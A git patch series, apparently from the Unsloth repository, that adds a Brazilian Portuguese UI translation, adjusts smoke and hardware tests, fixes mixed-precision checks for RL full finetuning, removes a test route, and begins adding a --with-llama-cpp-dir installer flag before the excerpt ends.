+ }, + dataset: { + title: "Dataset", + description: "Selecione ou envie os dados de treinamento", + source: "Origem do dataset", + chooseDataset: "Escolher dataset", + chooseDatasetTooltip: + "Use as abas do pop-up para alternar entre o Hugging Face e as saídas de receitas locais.", + localTab: "Local", + searchHuggingFaceDatasets: "Buscar datasets no Hugging Face...", + searchLocalDatasets: "Buscar datasets locais...", + searching: "Buscando...", + noDatasetsFound: "Nenhum dataset encontrado", + loadingLocalDatasets: "Carregando datasets locais...", + failedToLoadLocalDatasets: "Falha ao carregar datasets locais.", + noLocalDatasetsYet: "Nenhum dataset local ainda.", + noLocalDatasetsMatchSearch: "Nenhum dataset local corresponde à busca.", + openDataRecipes: "Abrir Receitas de Dados", + browsingSource: "Navegando em {browsing}. A seleção atual permanece {current}.", + localDatasets: "Datasets locais", + localDataset: "Dataset local", + localDatasetRows: " / {count} linhas", + huggingFaceDataset: "Dataset do Hugging Face", + localDatasetMetadata: "Metadados do dataset local", + dataRecipeOutput: "Saída da Receita de Dados.", + rows: "Linhas", + columns: "Colunas", + batches: "Lotes", + updated: "Atualizado", + evalDataset: "Dataset de validação (Eval)", + uploading: "Enviando...", + upload: "Upload", + uploadEvalFile: "Enviar arquivo de validação", + evalDatasetDescription: + "Opcional. Se não for fornecido, uma pequena parte será dividida a partir dos dados de treinamento.", + advanced: "Avançado", + targetFormat: "Formato de Destino", + targetFormatTooltip: + "Formato dos seus dados de treinamento. A detecção automática funciona para a maioria dos datasets.", + auto: "Auto", + rawText: "Texto Bruto", + trainSplitStart: "Início da Divisão de Treino", + trainSplitStartTooltip: + "Treine apenas em um subconjunto da sua divisão de treino especificando um índice de linha inicial (inclusivo, baseado em 0). Deixe em branco para começar da primeira linha.", + trainSplitEnd: "Fim da Divisão de Treino", + trainSplitEndTooltip: + "Último índice de linha a ser incluído da divisão de treino (inclusivo, baseado em 0). Por exemplo, defina o Início como 0 e o Fim como 99 para treinar nas primeiras 100 linhas. Deixe em branco para usar todas as linhas restantes.", + endPlaceholder: "Fim", + clear: "Limpar", + dropFileOrClick: "Solte 1 arquivo aqui ou clique para fazer upload", + viewDataset: "Visualizar dataset", + uploadFailed: "Falha no envio", + unknownError: "Erro desconhecido", + unsupportedFileType: "Tipo de arquivo não suportado", + uploadOneFileType: "Envie um arquivo do tipo {types}.", + datasetUploaded: "Dataset enviado", + evalDatasetUploaded: "Dataset de validação enviado", + uploadOneFileAtATime: "Envie um arquivo por vez", + uploadSingleFileDescription: + "O upload do dataset de treinamento aceita apenas um único arquivo.", + checkingToken: "Verificando token...", + getOrUpdateToken: "Obter ou atualizar token", + preview: "Pré-visualizar dataset", + split: "Divisão (Split)", + subset: "Subconjunto (Subset)", + s3: { + title: "Configuração do S3", + description: "Carregue datasets em .parquet, .json, .jsonl ou .csv do Amazon S3", + bucket: "Nome do Bucket", + bucketPlaceholder: "meu-bucket-de-dados-de-treino", + region: "Região da AWS", + regionPlaceholder: "us-east-1", + prefix: "Prefixo do Caminho", + prefixPlaceholder: "datasets/whisper/", + prefixTooltip: "Caminho opcional dentro do bucket para os arquivos do seu dataset", + accessKeyId: "ID da Chave de Acesso", + accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE", + secretAccessKey: "Chave de Acesso Secreta", + secretAccessKeyPlaceholder: "Sua chave de acesso secreta da AWS", + useIamRole: "Usar Função IAM", + useIamRoleTooltip: "Usa credenciais de função IAM em vez de chaves de acesso (recomendado para EC2/SageMaker)", + testConnection: "Testar Conexão", + connectionSuccess: "Conectado com sucesso ao bucket S3", + connectionFailed: "Falha ao conectar ao bucket S3", + comingSoon: "Integração com S3 em breve", + comingSoonDescription: "O carregamento de datasets do S3 requer o boto3. Este recurso está em desenvolvimento.", + }, + }, + params: { + title: "Parâmetros", + description: "Configure os hiperparâmetros de treinamento", + loraSettings: "Configurações do LoRA", + trainingHyperparameters: "Hiperparâmetros de Treinamento", + maxSteps: "Passos Máximos (Max Steps)", + epochs: "Épocas (Epochs)", + useMaxSteps: "Usar Passos Máximos", + useEpochs: "Usar Épocas", + maxStepsTooltip: "Sobrescreve o total de passos do otimizador.", + epochsTooltip: "Número de passagens completas pelo dataset.", + epochsDescription: "Cada época é uma passagem completa pelo seu dataset.", + maxStepsDescription: + "Limita o treinamento a um número fixo de passos do otimizador.", + contextLength: "Comprimento do Contexto", + contextLengthTooltip: "Número máximo de tokens por amostra de treinamento.", + customContextLength: "Insira um valor personalizado", + contextLengthDescription: "Comprimento máximo de sequência para amostras de treino", + learningRate: "Taxa de Aprendizado (Learning Rate)", + learningRateTooltip: + "Tamanho do passo para atualizações de peso. Valores menores treinam mais lentamente, mas com mais estabilidade.", + learningRateDescription: + "Recomendado: 2e-4 para LoRA, 5e-5 para CPT, 2e-5 para fine-tune completo", + embeddingLearningRate: "Taxa de Aprendizado do Embedding", + embeddingLearningRateTooltip: + "Usado apenas quando o CPT está treinando embed_tokens. Os embeddings são mais fáceis de desestabilizar do que os pesos LoRA, por isso geralmente precisam de um LR menor. Deixe em branco para usar lr/10; a faixa típica de funcionamento é de 2x a 10x menor que o LR principal. Aumente apenas se a adaptação de vocabulário ou de tokens de domínio estiver muito lenta.", + embeddingLearningRateDescription: + "Deixe em branco para usar lr/10 (recomendado). A faixa típica é de 2x a 10x menor que a taxa de aprendizado principal.", + rank: "Rank", + rankTooltip: + "Dimensão das matrizes de baixo rank. Maior = mais capacidade.", + alpha: "Alpha", + alphaTooltip: "Fator de escala para atualizações LoRA. Geralmente o dobro do rank.", + dropout: "Dropout", + dropoutTooltip: + "Probabilidade de dropout para as camadas LoRA para reduzir o overfitting.", + visionLayers: "Camadas de visão", + languageLayers: "Camadas de linguagem", + attentionModules: "Módulos de atenção", + mlpModules: "Módulos MLP", + targetModules: "Módulos de Destino", + enableLora: "Ativar LoRA", + trainWithLora: "Treinar com LoRA", + stableRank: "Stable Rank", + memoryEfficient: "Eficiente em Memória", + optimization: "Otimização", + schedule: "Cronograma", + memory: "Memória", + optimizer: "Otimizador", + optimizerTooltip: + "Algoritmo de otimização. Variantes de 8 bits reduzem o uso de memória. Fused é recomendado para modelos de visão.", + lrScheduler: "Agendador de LR", + lrSchedulerTooltip: + "Como a taxa de aprendizado muda ao longo do treino. Linear decai de forma constante; cosine decai em curva.", + optimizerOptions: { + adamw8bit: "AdamW 8-bit", + pagedAdamw8bit: "Paged AdamW 8-bit", + adamwBnb8bit: "AdamW BNB 8-bit", + pagedAdamw32bit: "Paged AdamW 32-bit", + adamwTorch: "AdamW (PyTorch)", + adamwTorchFused: "AdamW (PyTorch Fused)", + }, + lrSchedulerOptions: { + linear: "Linear", + cosine: "Cosine", + }, + batchSize: "Tamanho do Lote (Batch Size)", + batchSizeTooltip: "Amostras processadas por passo. Maior consome mais VRAM.", + gradAccum: "Acúmulo de Gradiente", + gradAccumTooltip: "Simula tamanhos de lote maiores sem gastar VRAM extra.", + weightDecay: "Decaimento de Peso", + weightDecayTooltip: "Regularização L2 para evitar overfitting.", + warmupSteps: "Passos de Aquecimento (Warmup)", + warmupStepsTooltip: + "Aumenta gradualmente a LR no início do treino para garantir estabilidade.", + scheduleEpochsTooltip: + "Número de passagens completas pelo dataset. Defina 0 para rodar por passos máximos.", + saveSteps: "Passos para Salvar", + saveStepsTooltip: "Salva um checkpoint a cada N passos. 0 para desativar.", + evalSteps: "Passos de Validação", + evalStepsTooltip: + "Fração dos passos totais de treino entre as validações (0-1). Defina como 0 para desativar. Ex: 0.01 = valida a cada 1% dos passos.", + seed: "Seed", + seedTooltip: "Semente aleatória para reprodutibilidade.", + gradCheckpoint: "Grad Checkpoint", + gradCheckpointTooltip: + "Troca processamento por memória recalculando as ativações.", + none: "Nenhum", + standard: "Padrão", + enablePacking: "Ativar empacotamento (packing)", + assistantCompletionsOnly: "Apenas respostas do assistente", + readMore: "Leia mais", + }, + training: { + title: "Treinamento", + description: "Monitore e controle o treinamento", + chartNoDataTitle: "Nenhum dado de treinamento ainda", + chartNoDataDescription: "Inicie o treinamento para ver o progresso da loss", + startTraining: "Iniciar Treinamento", + starting: "Iniciando...", + loadingModel: "Carregando modelo...", + checkingDataset: "Verificando dataset...", + configLabel: "Configuração de Treino", + upload: "Upload", + uploadConfigTooltip: "Carregar uma configuração YAML salva", + save: "Salvar", + saveConfigTooltip: "Baixar configuração atual como YAML", + reset: "Redefinir", + resetConfigTooltip: "Redefinir para os padrões do modelo", + configLoaded: "Configuração carregada", + failedToLoadConfig: "Falha ao carregar a configuração", + invalidYamlFile: "Arquivo YAML inválido", + failedToReadFile: "Falha ao ler o arquivo", + parametersReset: "Parâmetros redefinidos para os padrões do modelo", + audioIncompatible: + "Este modelo não suporta áudio. Mude para um modelo compatível com áudio ou escolha um dataset sem áudio.", + visionIncompatible: + "O modelo de texto não é compatível com um dataset multimodal. Mude para um modelo de visão ou escolha um dataset apenas de texto.", + cancelTitle: "Cancelar Treinamento", + cancelDescription: "Deseja cancelar a execução de treinamento atual?", + continueAction: "Continuar Treinamento", + cancelAction: "Cancelar Treinamento", + stopTitle: "Interromper Treinamento", + stopDescription: "Escolha como você deseja interromper a execução de treinamento atual.", + stopAction: "Interromper", + stopping: "Interrompendo...", + stopAndSave: "Interromper e Salvar", + compareInChat: "Comparar no Chat", + exportModel: "Exportar Modelo", + milestone: "Marco", + halfwayDone: "Metade concluída. O treinamento passou de 50%.", + doneNextStep: + "Treinamento concluído. Próximo passo: comparar as saídas do modelo base vs fine-tuned.", + }, + history: { + title: "Histórico", + emptyTitle: "Nenhuma execução de treino ainda", + emptyDescription: + "Nenhuma execução de treino ainda. Inicie sua primeira execução na aba Configurar.", + loadError: "Falha ao carregar as execuções de treino", + deleteError: "Falha ao excluir a execução de treino. Por favor, tente novamente.", + retry: "Tentar novamente", + loadMore: "Carregar mais", + loading: "Carregando...", + loadingRun: "Carregando execução de treino...", + runNotFound: "Execução não encontrada", + deleteTitle: "Excluir execução de treino?", + deleteDescription: + "Isso excluirá permanentemente esta execução de treino e todas as suas métricas. Esta ação não pode ser desfeita.", + runCount: "{count} execuções", + oneRun: "1 execução", + resume: "Retomar", + resumeTraining: "Retomar treinamento", + resuming: "Retomando...", + deleteRun: "Excluir execução", + loss: "Loss", + steps: "Passos", + lossTrendSparkline: "Minigráfico de tendência da loss", + relativeJustNow: "agora mesmo", + relativeMinutesAgo: "há {count}m", + relativeHoursAgo: "há {count}h", + relativeDaysAgo: "há {count}d", + status: { + completed: "Concluído", + stopped: "Interrompido", + error: "Erro", + running: "Em andamento", + continued: "Continuado", + }, + message: { + completed: "Treinamento concluído", + stopped: "Treinamento interrompido", + running: "Treinamento em andamento", + errored: "Treinamento com erro", + }, + }, + charts: { + settings: "Configurações do Gráfico", + settingsDescription: + "Ajuste a apresentação do gráfico enquanto o treinamento continua rodando.", + openSettings: "Abrir configurações do gráfico", + viewWindow: "Janela de visualização", + viewWindowDescription: "Mostra apenas os passos mais recentes ou o histórico completo.", + window: "Janela", + all: "Tudo", + trainingLoss: "Loss de Treinamento", + trainingLossDescription: "Controle as sobreposições e a suavização EMA.", + smoothing: "Suavização", + smoothingDescription: "Mova para a direita para mais suavização. `0` = bruto.", + showRawLoss: "Mostrar loss bruta", + showSmoothedLoss: "Mostrar loss suavizada", + showAverageLine: "Mostrar linha média", + scaleAndCleanup: "Escala e limpeza", + linear: "Linear", + log: "Log", + noClip: "Sem corte", + clipP99: "Cortar p99", + clipP95: "Cortar p95", + lossAxis: "Eixo da loss", + gradientNormAxis: "Eixo da norma do gradiente", + learningRateAxis: "Eixo da taxa de aprendizado", + resetDefaults: "Redefinir padrões", + loss: "Loss", + smoothed: "Suavizado", + evalLoss: "Loss de Validação", + learningRate: "Taxa de Aprendizado", + lr: "LR", + gradNorm: "Norma do Grad.", + gradientNorm: "Norma do Gradiente", + step: "Passo {step}", + averageValue: "média {value}", + waitingForFirstEvaluationStep: "Aguardando o primeiro passo de validação...", + evaluationNotConfigured: "Validação não configurada", + evalChartWillAppear: "O gráfico aparecerá assim que o eval_steps for alcançado", + setEvalDatasetAndSteps: + "Defina o dataset de validação e eval_steps para acompanhar a loss de validação", + }, + progress: { + title: "Progresso do Treinamento", + liveMetrics: "Métricas de treino em tempo real", + exportGguf: "Exportar para GGUF", + openConfig: "Abrir configuração de treino", + configLabel: "Configuração de Treino", + hyperparams: "Hiperparâmetros", + epochs: "Épocas", + batchSize: "Tamanho do lote", + learningRate: "Taxa de aprendizado", + optimizer: "Otimizador", + maxSteps: "Passos máximos", + contextLength: "Comprimento do contexto", + warmupSteps: "Passos de warmup", + rank: "Rank", + alpha: "Alpha", + dropout: "Dropout", + variant: "Variante", + epoch: "Época {value}", + percentComplete: "{percent}% completo", + stepProgress: "Passo {current} / {total}", + loss: "Loss", + lr: "LR", + gradNorm: "Norma do Grad.", + model: "Modelo", + method: "Método", + elapsed: "Decorrido: {value}", + eta: "ETA: {value}", + stepsPerSecond: "{value} passos/s", + noStepsPerSecond: "-- passos/s", + tokens: "Tokens: {value}", + gpuMonitor: "Monitor da GPU", + live: "Ao vivo", + utilization: "Utilização", + temperature: "Temperatura", + vram: "VRAM", + power: "Energia", + phase: { + idle: "Ocioso", + downloadingModel: "Baixando modelo", + downloadingDataset: "Baixando dataset", + loadingModel: "Carregando modelo", + loadingDataset: "Carregando dataset", + configuring: "Configurando", + training: "Treinando", + completed: "Concluído", + error: "Erro", + stopped: "Interrompido", + }, + }, + trainingStart: { + ready: "Pronto", + downloading: "Baixando", + preparing: "Preparando", + left: "restam {eta}", + downloaded: "{size} baixados", + terminalStart: "> treinamento do unsloth iniciado...", + preparingResources: "> Preparando modelo e dataset...", + gettingReady: "> Estamos deixando tudo pronto para a sua execução...", + waitingForFirstStep: "> {message} | aguardando o primeiro passo... ({step})", + resumingTraining: "Retomando treinamento...", + startingTraining: "iniciando treinamento...", + dataset: "Dataset", + datasetStreaming: "Dataset: streaming (sem download completo)", + modelWeights: "Pesos do modelo", + }, + tour: { + guidedTour: "Tour Guiado", + }, + }, +} as const; diff --git a/studio/frontend/src/i18n/messages.ts b/studio/frontend/src/i18n/messages.ts index ef58ca23fe..23db2ce326 100644 --- a/studio/frontend/src/i18n/messages.ts +++ b/studio/frontend/src/i18n/messages.ts @@ -4,19 +4,26 @@ import { getLocale } from "./locale-store"; import { en } from "./locales/en"; import { zhCN } from "./locales/zh-CN"; +import { ptBR } from "./locales/pt-br"; import { ja } from "./locales/ja"; import type { InterpolationValues, MessageKey } from "./types"; export const LOCALES = { en: { label: "English", nativeLabel: "English" }, "zh-CN": { label: "Chinese (Simplified)", nativeLabel: "简体中文" }, - ja: { label: "Japanese", nativeLabel: "日本語" }, + "pt-BR": { label: "Portuguese (Brazil)", nativeLabel: "Português (Brasil)" }, + "ja": { label: "Japanese", nativeLabel: "日本語" }, } as const; export type Locale = keyof typeof LOCALES; export type TranslationKey = MessageKey; -export const messages = { en, "zh-CN": zhCN, ja } as const; +export const messages = { + en, + "zh-CN": zhCN, + "pt-BR": ptBR, + ja +} as const; const PLACEHOLDER_PATTERN = /\{([a-zA-Z0-9_]+)\}/g; @@ -75,4 +82,4 @@ export function isSupportedLocale(value: unknown): value is Locale { typeof value === "string" && Object.prototype.hasOwnProperty.call(LOCALES, value) ); -} +} \ No newline at end of file diff --git a/tests/studio/install/test_rocm_support.py b/tests/studio/install/test_rocm_support.py index 4c50fa1c8e..092e1803f8 100644 --- a/tests/studio/install/test_rocm_support.py +++ b/tests/studio/install/test_rocm_support.py @@ -1473,12 +1473,14 @@ class TestHardwareAmdBranching: assert "from . import amd" in source def test_hardware_branches_on_is_rocm_for_utilization(self): - """get_gpu_utilization dispatches to amd.py via _smi_query when IS_ROCM.""" + """get_gpu_utilization dispatches visible metrics through amd.py on ROCm.""" hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py" source = hw_path.read_text(encoding = "utf-8") func_start = source.find("def get_gpu_utilization") func_body = source[func_start : source.find("\ndef ", func_start + 1)] - assert '_smi_query("get_primary_gpu_utilization"' in func_body + assert "_smi_query(" in func_body + assert '"get_visible_gpu_utilization"' in func_body + assert "_reconcile_rocm_unified_memory" in func_body smi = source[ source.find("def _smi_query") : source.find("\ndef ", source.find("def _smi_query") + 1) ] diff --git a/tests/studio/run_real_mlx_smoke.py b/tests/studio/run_real_mlx_smoke.py index 0843a2b447..7a63dcfb85 100644 --- a/tests/studio/run_real_mlx_smoke.py +++ b/tests/studio/run_real_mlx_smoke.py @@ -565,30 +565,50 @@ def _reload_gguf(save_dir: Path, metrics: dict) -> int: raise SystemExit(f"no .gguf files in {save_dir}") gguf_path = gguf_files[0] + # This is a save/reload-integrity smoke; a few generated tokens are enough. + # Keep llama.cpp bounded on macOS runners where BF16 GGUF decode is CPU-bound. + n_predict = os.environ.get("UNSLOTH_GGUF_RELOAD_N", "8") + n_threads = os.environ.get("UNSLOTH_GGUF_RELOAD_THREADS", str(os.cpu_count() or 4)) + reload_timeout = int(os.environ.get("UNSLOTH_GGUF_RELOAD_TIMEOUT", "420")) + with Phase("reload_gguf", metrics): - proc = subprocess.run( - [ - str(llama_cli), - "-m", - str(gguf_path), - "-p", - PROMPT, - "-n", - "24", - "--temp", - "0", - "--seed", - str(SEED), - "-no-cnv", - "--no-warmup", - ], - capture_output = True, - text = True, - timeout = 300, - # Hand llama-cli an immediate EOF; without it -no-cnv can still leave the - # process blocked reading stdin, which times out instead of generating. - stdin = subprocess.DEVNULL, - ) + argv = [ + str(llama_cli), + "-m", + str(gguf_path), + "-p", + PROMPT, + "-n", + n_predict, + "-t", + n_threads, + "--temp", + "0", + "--seed", + str(SEED), + "-c", + "256", + "--no-warmup", + ] + try: + proc = subprocess.run( + argv, + capture_output = True, + text = True, + timeout = reload_timeout, + # Newer llama.cpp keeps llama-cli in chat mode; exit after one reply. + input = "/exit\n", + ) + except subprocess.TimeoutExpired as exc: + + def _decode(stream) -> str: + if isinstance(stream, bytes): + return stream.decode("utf-8", errors = "replace") + return stream or "" + + print(f" [reload:gguf] TIMEOUT stdout:\n{_decode(exc.stdout)[:1000]}", flush = True) + print(f" [reload:gguf] TIMEOUT stderr:\n{_decode(exc.stderr)[:1000]}", flush = True) + raise metrics["llama_cli_returncode"] = proc.returncode metrics["generation"] = (proc.stdout or "")[:1500] From d33a7a7a1a536fea1b14af26652ac8e4e4de096d Mon Sep 17 00:00:00 2001 From: Ayushman <139611211+InfoSage05@users.noreply.github.com> Date: Fri, 3 Jul 2026 00:11:10 +0530 Subject: [PATCH 13/27] Fix: skip fp16/bf16 validation for full finetuning in RL trainers (#6813) --------- Co-authored-by: Ayushman Paul --- unsloth/models/rl.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/unsloth/models/rl.py b/unsloth/models/rl.py index 53668d14d8..602de69d3f 100644 --- a/unsloth/models/rl.py +++ b/unsloth/models/rl.py @@ -1015,6 +1015,9 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"): "dtype = _get_dtype(dtype)\n" "float16 = dtype == torch.float16\n" "bfloat16 = dtype == torch.bfloat16\n" + "if full_finetuning:\n" + " if bfloat16 and use_fp16: use_fp16 = False\n" + " if float16 and use_bf16: use_bf16 = False\n" "if not force_float32 and (float16 and use_bf16): raise TypeError('Unsloth: Model is in float16 precision but you want to use bfloat16 precision. Set fp16 to `True` and bf16 to `False`')\n" "if not force_float32 and (bfloat16 and use_fp16): raise TypeError('Unsloth: Model is in bfloat16 precision but you want to use float16 precision. Set fp16 to `False` and bf16 to `True`')\n" "if force_float32:\n" From 2bfeb47c92201ebb1c9ab304130f03e3f5e6f092 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Thu, 2 Jul 2026 11:49:56 -0700 Subject: [PATCH 14/27] studio/frontend: drop developer-only /grid-test route (#5662) --------- Co-authored-by: danielhanchen --- studio/frontend/src/app/router.tsx | 2 - studio/frontend/src/app/routes/grid-test.tsx | 69 -------------------- 2 files changed, 71 deletions(-) delete mode 100644 studio/frontend/src/app/routes/grid-test.tsx diff --git a/studio/frontend/src/app/router.tsx b/studio/frontend/src/app/router.tsx index 5c18e637e2..586c03d5df 100644 --- a/studio/frontend/src/app/router.tsx +++ b/studio/frontend/src/app/router.tsx @@ -10,7 +10,6 @@ import { Route as dataRecipesRoute } from "./routes/data-recipes"; import { Route as dataRecipeRoute } from "./routes/data-recipes.$recipeId"; import { Route as chatRoute } from "./routes/chat"; import { Route as exportRoute } from "./routes/export"; -import { Route as gridTestRoute } from "./routes/grid-test"; import { Route as indexRoute } from "./routes/index"; import { Route as loginRoute } from "./routes/login"; import { Route as hubRoute } from "./routes/hub"; @@ -25,7 +24,6 @@ const routeTree = rootRoute.addChildren([ onboardingRoute, loginRoute, changePasswordRoute, - gridTestRoute, hubRoute, settingsRoute, studioRoute, diff --git a/studio/frontend/src/app/routes/grid-test.tsx b/studio/frontend/src/app/routes/grid-test.tsx deleted file mode 100644 index c4b6b505a1..0000000000 --- a/studio/frontend/src/app/routes/grid-test.tsx +++ /dev/null @@ -1,69 +0,0 @@ -// SPDX-License-Identifier: AGPL-3.0-only -// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 - -import { DashboardGrid, DashboardLayout } from "@/components/layout"; -import { - Card, - CardContent, - CardDescription, - CardHeader, - CardTitle, -} from "@/components/ui/card"; -import { createRoute } from "@tanstack/react-router"; -import { requireAuth } from "../auth-guards"; -import { Route as rootRoute } from "./__root"; - -export const Route = createRoute({ - getParentRoute: () => rootRoute, - path: "/grid-test", - beforeLoad: () => requireAuth(), - component: GridTestPage, -}); - -function GridTestPage() { - return ( - -
-
-

Grid Test - 3 Columns

-

- max-w-7xl, gap-6, responsive 1→2→3 -

-
- - - {[1, 2, 3].map((i) => ( - - - Card {i} - ~400px at 1280px viewport - - -
- - - ))} - - -
-

4 Columns

-

~296px per card at 1280px

-
- - - {[1, 2, 3, 4].map((i) => ( - - - Card {i} - Smaller cards - - -
- - - ))} - -
- - ); -} From 73e8245ee857b0afa7750870896662bd1ee5dcee Mon Sep 17 00:00:00 2001 From: Leo Borcherding Date: Thu, 2 Jul 2026 16:11:20 -0500 Subject: [PATCH 15/27] [Studio] Add --with-llama-cpp-dir installer flag to reuse a local llama.cpp (#6472) * Add --with-llama-cpp-dir flag to install.ps1 and install.sh Users can now pass --with-llama-cpp-dir /path/to/llama.cpp to the installer to skip downloading or building llama.cpp and use a local directory instead. A junction (Windows) or symlink (Linux/macOS) is created at the canonical install location, bypassing both the prebuilt download (Phase 3) and source build (Phase 4) steps in setup.ps1/setup.sh. The path is passed via UNSLOTH_LOCAL_LLAMA_CPP_DIR env var which setup.ps1 and setup.sh read directly. Ported from the idea in unslothai/unsloth#4384, reimplemented against current Studio architecture. * test: add static wiring test for --with-llama-cpp-dir flag Cross-checks install.sh, install.ps1, studio/setup.sh and studio/setup.ps1 so the flag's contract (parse -> UNSLOTH_LOCAL_LLAMA_CPP_DIR env var -> link local dir, skip prebuilt download and source build) can't silently regress. Wired into studio-backend-ci.yml alongside the other tests/sh installer tests. * Address review feedback on --with-llama-cpp-dir flag - setup.ps1: delete an existing junction/symlink via DirectoryInfo.Delete() instead of a recursive remove, which can traverse the link and wipe the user's real llama.cpp directory on PowerShell 5.1. - setup.ps1: short-circuit the build chain when a local dir is linked so CMake never runs inside the user's checkout when it lacks a Windows-layout binary. - install.sh / setup.sh: resolve paths with CDPATH= cd -P so a set CDPATH cannot corrupt the resolved path. - install.sh: seed _WITH_LLAMA_CPP_DIR from UNSLOTH_LOCAL_LLAMA_CPP_DIR so an exported env var (piped-install style) is honored instead of being clobbered. - setup.sh: create the root llama-quantize shim when linking a local source build so GGUF export's check_llama_cpp() still finds it. - setup.sh / setup.ps1: drop a stale link before the custom-home ownership assert so re-runs with the flag stay idempotent. - test: pin the new linked-dir build short-circuit. * Harden --with-llama-cpp-dir against Codex/Gemini review findings - install.sh: error when --with-llama-cpp-dir is the final arg with no path, matching the existing --package/--python post-loop guards (was a silent fallback to the normal prebuilt/source install). - studio/setup.sh: canonicalize LLAMA_CPP_DIR before the self-link no-op compare. _RESOLVED_LOCAL is fully resolved while LLAMA_CPP_DIR was textual, so a symlinked $HOME made the guard miss and the rm -rf could wipe the user's real llama.cpp tree. - studio/setup.sh: make the llama-quantize shim non-fatal; it writes through the link into the user's tree, which may be read-only (shared/CI cache), and under set -e a failed ln aborted an otherwise-good reuse. - studio/setup.ps1: detect a broken junction via Get-Item -Force instead of Test-Path so a dangling link from a prior run is removed and mklink can relink to a new valid directory. - studio/setup.ps1: use Copy-Item -LiteralPath so a source path containing [ ] isn't treated as a wildcard in the junction copy fallback. - tests: update the wiring assertions for the LiteralPath copy and the canonicalized compare. * Validate/reuse local llama.cpp tree and guard the in-use case Addresses the second Codex pass on the --with-llama-cpp-dir flag: - Validate the linked tree before disabling installs (setup.sh + setup.ps1): reusing a local dir skips BOTH the prebuilt download and the source build, so the dir must already contain a runnable llama-server (build/bin on Linux/macOS, build\bin\Release\llama-server.exe on Windows). Bail out with a clear message instead of linking an unbuilt/wrong-platform checkout and leaving Studio with no usable binary. - Treat a canonical-path target as already linked when it holds a build (setup.sh + setup.ps1): point the flag at ~/.unsloth/llama.cpp itself and an existing build is reused (skip prebuilt + source) rather than clobbered by the staged prebuilt installer (which uses os.replace()/replace). An empty canonical dir still falls through to the normal in-place install. - Abort when an in-use llama.cpp can't be removed on Windows (setup.ps1): Remove-Item -ErrorAction SilentlyContinue can silently leave a locked tree in place; detect that and stop with the same active-process message + exit 3 the prebuilt path uses, instead of junctioning over a half-present dir. Left as follow-up (already tracked by the PR author as a non-blocker): the in-app "Update llama.cpp" updater does not yet recognize a local-link install as externally managed; that fix belongs in studio/backend/utils/llama_cpp_update.py. * Accept all backend llama-server layouts in --with-llama-cpp-dir validation The linked-tree validation only accepted build/bin[/Release]/llama-server, but LlamaCppBackend._layout_candidates() resolves a root-level llama-server first, then build/bin, then build/bin/Release on Windows. A `make` build or a flat release extract (binary at the dir root) was therefore rejected with a hard installer failure even though Studio would have run it. Validate the same candidate set the backend uses in both setup scripts, and add wiring-test assertions so the check can't silently narrow again. * Treat --with-llama-cpp-dir local links as externally managed A --with-llama-cpp-dir install junctions/symlinks the canonical llama.cpp dir to the user's own checkout, but two backend paths still treated it as a Studio-owned tree: - The in-app updater (llama_cpp_update) offered and could apply an official prebuilt over the link, writing through it into the user's checkout (or failing) and silently dropping the link the flag created. - Orphan cleanup (LlamaCppBackend._kill_orphaned_servers) resolved the linked root into its kill allowlist, so a llama-server the user launched from the same checkout was classified as ours and killed on startup. Detect the canonical dir being a symlink/junction (reparse point) and treat the install as unmanaged: get_update_status reports unsupported, start_update refuses with reason "local_link", and the linked root is left out of the orphan allowlist. Adds behavioral tests (link vs plain dir, updater refusal, and the spared-vs-killed orphan control). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Add behavioral shell test for --with-llama-cpp-dir linking The existing tests/sh/test_with_llama_cpp_dir_flag.sh is a static grep of the scripts. This adds a behavioral test that extracts the real link block from studio/setup.sh (by content anchors, with a self-validating extraction) and runs it against hermetic fake dirs, asserting the outcomes that matter: - an external CMake build links and arms neither the prebuilt download nor the source build - a flat / make tree (root-level llama-server, no build/bin) is accepted too - an unbuilt tree is rejected with a non-zero exit and no link left behind - relinking over a stale link preserves the target's contents (no data loss) - pointing at the canonical path is a no-op reuse, not a self-referential link Symlink-identity checks run only where real symlinks exist (skipped on Windows git-bash copy-mode); the link/skip/no-data-loss checks run everywhere. Wired into studio-backend-ci.yml next to the static test. * Install psutil in backend CI so orphan-cleanup tests run The new orphan-cleanup tests import psutil for the process scan, but the Backend CI deps step installed studio.txt plus a fixed extras list that omits it, so the two tests failed with ModuleNotFoundError. Add psutil to both backend pytest dep steps (kept in shared shape), and guard the import with pytest.importorskip so a minimal env without psutil skips these tests instead of erroring. --------- Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com> Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- .github/workflows/studio-backend-ci.yml | 11 +- install.ps1 | 17 ++ install.sh | 24 +++ studio/backend/core/inference/llama_cpp.py | 26 +++ .../tests/test_local_llama_cpp_link.py | 137 ++++++++++++++ studio/backend/utils/llama_cpp_update.py | 75 ++++++++ studio/setup.ps1 | 92 +++++++++- studio/setup.sh | 85 ++++++++- tests/sh/test_with_llama_cpp_dir_flag.sh | 172 ++++++++++++++++++ .../test_with_llama_cpp_dir_link_behavior.sh | 132 ++++++++++++++ 10 files changed, 763 insertions(+), 8 deletions(-) create mode 100644 studio/backend/tests/test_local_llama_cpp_link.py create mode 100644 tests/sh/test_with_llama_cpp_dir_flag.sh create mode 100644 tests/sh/test_with_llama_cpp_dir_link_behavior.sh diff --git a/.github/workflows/studio-backend-ci.yml b/.github/workflows/studio-backend-ci.yml index bce355458a..3022127a2b 100644 --- a/.github/workflows/studio-backend-ci.yml +++ b/.github/workflows/studio-backend-ci.yml @@ -68,9 +68,10 @@ jobs: pip install -r studio/backend/requirements/studio.txt # Extras that studio.txt does not list but the import chain needs # (python-multipart for FastAPI form/file uploads, sqlalchemy/cryptography - # for the auth DB, yaml/jinja2 for utils.models.model_config, etc.): + # for the auth DB, yaml/jinja2 for utils.models.model_config, psutil for + # the orphan-cleanup process scan, etc.): pip install \ - python-multipart aiofiles sqlalchemy cryptography \ + python-multipart aiofiles sqlalchemy cryptography psutil \ pyyaml jinja2 mammoth unpdf requests \ 'numpy<3' pytest pytest-asyncio httpx # Torch CPU + transformers are required by a chunk of the backend test @@ -133,7 +134,7 @@ jobs: python -m pip install --upgrade pip pip install -r studio/backend/requirements/studio.txt pip install \ 